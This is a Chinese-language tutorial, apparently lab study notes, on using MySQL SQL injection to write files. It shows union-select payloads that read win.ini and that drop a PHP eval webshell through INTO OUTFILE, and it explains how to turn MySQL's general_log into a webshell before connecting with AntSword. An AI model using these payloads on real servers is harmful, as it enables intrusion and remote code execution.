1. into outfile(手写)
1.1. 利用条件
• web 目录具有写入权限,能够使用单引号 • 知道网站绝对路径(根目录,或则是根目录往下的目录都行)
• secure_file_priv 没有具体值(在 mysql/my.ini 中查看)
1.2. secure_file_priv 介绍
secure_file_priv 是用来限制 load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在 mysql 5.6.34 版本以后 secure_file_priv 的值默认为 NULL。如下关于 secure_file_priv 的配置介绍
1、secure_file_priv 的值为 NULL,表示限制 mysql 不允许导入|导出
2、当 secure_file_priv 的值为/tmp/ ,表示限制 mysql 的导入|导出只能发生在/tmp/目录 下(其他目录也可以)
3、当 secure_file_priv 的值没有具体值时,表示不对 mysql 的导入|导出做限制
打开虚拟机,首先对secure_file_priv 设置为空,只有为空时才能不对MySQL的输入和输出有限制
先查询是否为空(需要在MySQL下)
show global variables like '%secure%';
- 在我的数据库中如图显示,很显然secure_file_priv 的值为null,很显然是不允许的
- 有的是没有的,没有就找到mysql/my.ini文件添加,添加后重启小皮即可
secure_file_priv = ''
接下来可以利用该函数进行写入一句话木马
1.3. 一句话木马
读取文件
-1' union select 1,load_file("C:/Windows/win.ini"),3--+
- 前面步骤和联合查询一样,判断注入点,闭合方式,列数,回显点,之后进行写马,首先获取路径
id=-1' union select 1,@@datadir,3--+
- 写入木马,
id=-1' union select 1,"<?php eval($_post['密码']);?>",3 into outfile 'F:\\phpStudy\\PHPTutorial\\WWW\\321.php'--+
标蓝底的为文件地址。当我们写入成功后将会在该文件地址写入PHP格式文档
文件内容会是<?php eval($ POST['密码']);?>
- 使用蚁剑连接
1.4. general_log写入日志(日志写码)
1.4.1. 利用条件 :
• 知道日志的保存路径 • 日志功能是打开的
1.4.2. general_log 介绍
在 MySQL 中,General Log 是一种非常重要的日志类型,它记录了发送到 MySQL 服务器的所有 SQL 语句。通常,出于性能考虑,不建议长时间开启 General Log,因为 它会生成大量的日志数据。然而,在某些情况下,为了排查问题,可能需要临时开启 General Log
我们使用过的SQL语句均会在此显示
show variables like 'general_log';
:查看日志是否开启
1.4.2.1. 日志写马常用指令
set global general_log=on;
-- 开启日志功能
show variables like 'general_log_file';
-- 查看看日志文件保存位置
set global general_log_file='tmp/general.lg';
-- 设置日志文件保存位置
show variables like 'log_output';
-- 查看看日志输出类型table 或file
set global log_output='table';
-- 设置输出类型为table
set global log_output='file';
-- 设置输出类型为file
1.4.3. 进行日志写马
- 当我们打开日志后,设置日志的保存路径和文件名称
show variables like 'general_log_file';
- 日志会记录我们所有输入的数据库语句
- 接下来我们进行日志写马,我们在前台输入一句话木马,只需要确保输入的语句到达了数据库执行了就行,成功失败都没关系并不影响木马计入到日志中。
- 在使用蚁剑连接即可